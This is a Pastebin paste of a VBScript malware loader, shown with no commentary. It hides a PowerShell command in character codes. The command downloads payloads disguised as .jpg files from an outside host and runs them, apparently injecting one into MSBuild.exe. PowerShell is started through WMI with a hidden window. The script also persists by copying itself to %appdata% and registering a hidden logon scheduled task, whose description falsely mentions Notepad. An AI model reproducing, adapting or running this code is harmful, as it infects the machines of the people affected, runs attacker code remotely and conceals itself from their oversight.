Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Set Moha = CreateObject("WScript.Shell")
- f="$Mo=@(91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,119,119,119,46,109,57,99,46,110,101,116,47,117,112,108,111,97,100,115,47,49,53,54,49,54,57,55,57,56,53,49,46,106,112,103,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,102,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,119,119,119,46,109,57,99,46,110,101,116,47,117,112,108,111,97,100,115,47,49,53,54,49,54,57,56,48,55,49,49,46,106,112,103,39,41,46,114,101,112,108,97,99,101,40,39,64,36,39,44,39,48,120,39,41,124,73,69,88,59,91,107,46,72,97,99,107,105,116,117,112,93,58,58,101,120,101,40,39,77,83,66,117,105,108,100,46,101,120,101,39,44,36,102,41);[System.Text.Encoding]::ASCII.GetString($Mo)|IEX"
- strCommand = "Powershell.exe"+ space(1) + f
- Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
- Set objStartup = objWMIService.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = 0
- Set objProcess = objWMIService.Get("Win32_Process")
- intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
- set fso0 = CreateObject("Scripting.FileSystemObject")
- CurrentDirectory = Moha.CurrentDirectory
- sname= wsh.scriptname
- startupfolder=Moha.ExpandEnvironmentStrings("%appdata%")
- F=Moha.ExpandEnvironmentStrings("%appdata%")+ "\" + sname
- task(F)
- if CurrentDirectory = startupfolder Then
- WScript.Quit()
- else
- mnb()
- End if
- sub mnb()
- If (fso0.FileExists(CurrentDirectory+ "\"+ sname)) Then
- sSourceFile = CurrentDirectory+ "\"+ sname
- sCmd = "%comspec% /c copy """ & sSourceFile & """ """ & startupfolder & """ /Y"
- Moha.Run sCmd,0
- WScript.Quit()
- Else
- WScript.Quit()
- End If
- End sub
- sub task(PATH)
- dim strUser
- strUser = CreateObject("WScript.Network").UserName
- Dim service
- Set service = CreateObject( "Schedule.Service" )
- call service.Connect()
- Dim rootFolder
- Set rootFolder = service.GetFolder("\")
- Dim taskDefinition
- Set taskDefinition = service.NewTask(0)
- ' taskDefinition.principal.LogonType = 3
- Dim regInfo
- Set regInfo = taskDefinition.RegistrationInfo
- regInfo.Description = "Task will execute Notepad when a " & _
- "specified user logs on."
- regInfo.Author = "Author Name"
- Dim settings
- Set settings = taskDefinition.Settings
- settings.Enabled = True
- settings.StartWhenAvailable = True
- settings.Hidden = True
- settings.DisallowStartIfOnBatteries = False
- const TriggerTypeLogon = 9
- Dim triggers
- Set triggers = taskDefinition.Triggers
- Dim trigger
- Set trigger = triggers.Create(TriggerTypeLogon)
- Dim startTime, endTime
- startTime = "2006-05-02T10:49:02"
- endTime = "2046-05-02T10:52:02"
- trigger.Id = "LogonTriggerId"
- trigger.UserId = strUser
- trigger.StartBoundary = startTime
- trigger.EndBoundary = endTime
- trigger.Enabled = True
- const ActionTypeExecutable = 0
- Dim Action
- Set Action = taskDefinition.Actions.Create( ActionTypeExecutable )
- Action.Path = PATH
- const createOrUpdateTask = 6
- call rootFolder.RegisterTaskDefinition( _
- "Test Logon Trigger", taskDefinition, createOrUpdateTask, _
- , , 3)
- End sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement